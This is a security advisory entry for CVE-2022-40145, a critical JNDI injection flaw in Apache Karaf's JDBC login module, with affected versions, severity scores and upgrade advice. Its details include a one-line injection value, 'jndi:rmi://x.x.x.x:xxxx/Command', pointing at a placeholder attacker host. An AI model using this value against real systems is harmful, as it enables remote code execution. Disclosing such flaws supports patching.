CVE-2022-40145 – org.apache.karaf:apache-karaf

Package

Manager: maven
Name: org.apache.karaf:apache-karaf
Vulnerable Version: >=0 <4.3.8 || >=4.4.0 <4.4.2

Severity

Level: Critical

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS: 0.01584 pctl0.80908

Details

Apache Karaf vulnerable to potential code injection This vulnerability is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` uses `InitialContext.lookup(jndiName)` without filtering. A user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in `JdbcLoginModuleTest#setup`. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. Maintainers encourage the users to upgrade to at least Apache Karaf versions 4.4.2 or 4.3.8.

Metadata

Created: 2022-12-21T18:30:22Z
Modified: 2025-04-15T18:44:44Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/12/GHSA-c2p4-8mvv-rwmv/GHSA-c2p4-8mvv-rwmv.json
CWE IDs: ["CWE-20", "CWE-74"]
Alternative ID: GHSA-c2p4-8mvv-rwmv
Finding: F184
Auto approve: 1